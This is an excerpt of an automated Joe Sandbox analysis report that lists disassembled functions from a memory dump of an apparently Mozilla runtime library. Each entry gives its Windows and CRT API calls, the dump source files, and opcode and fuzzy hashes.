Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
